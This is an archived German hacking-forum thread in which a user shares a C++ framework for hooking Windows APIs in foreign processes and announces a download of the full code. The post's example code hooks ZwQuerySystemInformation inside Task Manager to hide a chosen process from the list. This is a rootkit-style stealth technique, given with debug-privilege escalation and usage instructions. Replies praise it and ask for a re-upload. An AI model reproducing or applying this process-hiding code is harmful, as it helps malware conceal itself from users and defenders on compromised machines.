PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : Direct Injection API Hooking Framework



ocz
09.06.2010, 00:27
Moin,

ich habe gerade mein ApiHooking Framework in C++ fertiggestellt. Das ganze funktioniert ohne DLL-Injection und ist somit angenehmer zu benutzen. Der Code ist relativ gut kommentiert und kann nach belieben verändert und angepasst werden. Nur lasst bitte meinen Namen dastehen ;)

Hier eine kleines Beispiel wie man es benutzt:


#include "main.h"

NTSTATUS WINAPI ZwQuerySystemInformation_(SYSTEM_INFORMATION_CLASS SystemInformationClass, void* SystemInformation, ULONG SystemInformationLength, ULONG* ReturnLength) {
_LoadLibrary LoadLibrary_;
_GetProcAddress GetProcAddress_;
startCallback(LoadLibrary_, GetProcAddress_);
/* START CODE */
HMODULE hDLL = LoadLibrary_(ntdll);
_ZwQuerySystemInformation ZwQuerySystemInformation__ = (_ZwQuerySystemInformation)GetProcAddress_(hDLL, querySysInfo);
NTSTATUS ret = ZwQuerySystemInformation__(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
originalCalled;
if (SystemInformationClass == 0x05 && ret == 0) {
DWORD pos = (DWORD)SystemInformation;
DWORD prepos = 0;
void** data;
readInfo(data, 4, transfer1);
while (pos < (DWORD)SystemInformation + *ReturnLength) {
if ((DWORD)((SYSTEM_PROCESS_INFORMATION*)pos)->UniqueProcessId == **(DWORD**)data) {
((SYSTEM_PROCESS_INFORMATION*)prepos)->NextEntryOffset += ((SYSTEM_PROCESS_INFORMATION*)pos)->NextEntryOffset;
break;
}
if (((SYSTEM_PROCESS_INFORMATION*)pos)->NextEntryOffset == 0)
break;
prepos = pos;
pos += ((SYSTEM_PROCESS_INFORMATION*)pos)->NextEntryOffset;

}
}
/* END CODE */
endCallback;
return ret;
}

int main() {
getDebugPrivileges();
int procid;
cin >> procid;
char* stringlistSysInfo[] = {querySysInfo, transfer1};

DWORD hideProc = GetCurrentProcessId();
ApiHook::sendInfoToForeignProcess(&hideProc, 4, transfer1);
ApiHook::hookAPIinForeignProcess(procid, "ZwQuerySystemInformation", "ntdll.dll",
ZwQuerySystemInformation_, stringlistSysInfo, 2, defaultstrings, NUM_OF_DEFAULT_STRINGS);

system("PAUSE");
return 0;
}
Dieser Hook zielt auf ZwQueryProcessInformation aus der ntdll.dll ab. Wählt man als Zielprozess beispielsweise den Taskmanager, so kann ein beliebiger Prozess aus der Liste versteckt werden (in diesem Beispiel der eigene). Wie man sieht ist der Code also recht kurz, dafür, dass er einen Prozess vom Taskmanager versteckt ;) Jedes Callback muss als Prolog


_LoadLibrary LoadLibrary_;
_GetProcAddress GetProcAddress_;
startCallback(LoadLibrary_, GetProcAddress_);
nutzen. Als Epilog wird


endCallback;
return x;
genutzt. Allerdings darf nicht mitten im Callback returned werden, daher bitte Variablen zum Zwischenspeichern benutzen und dann am ende returnen. Das Framework stellt LoadLibrary_ und GetProcAddress_ zur Verfügung, mit denen beliebige APIs improtiert werden können. Will man aus dem Callback die original API aufrufen, so holt man sich deren Adresse einfach per GetProcAddress (es wird dann ein Pointer zur nicht-gehookten zurückgegeben). Ruft man diese Originalfunktion auf, so muss die nächste Instruktion


originalCalled;
sein. Möchte man in seinem Callback strings benutzen, so müssen diese außerhalb des Callbacks deklariert und definiert werden. Beim Aufruf von hookAPIinForeignProcess muss dann ein Array mit allen verwendeten Strings, sowie deren länge übergeben werden (diese werden dann in den Zielprozess kopiert und die Pointer angepasst).
So das wars zur Verwendung.
Fragen, bugs, Anregungen und Feedback bitte hier rein.



hxxp://www.share-online.biz/download.php?id=WA1RYP3LMNS
Password: OpCodez

0x30
03.07.2010, 01:57
Man ist das scheisse ey ;)

//krypt0n wird auch noch sagen, dass du größeste meehtschweinchenhoden lekken sölltest! kon tom!

AlterHacker
03.07.2010, 05:33
Respekt.
Gut kommentiert und sauber gecodet, super von dir das zu sharen ;-)

CYSER
21.12.2010, 15:17
Würde mich über einen Reupp freuen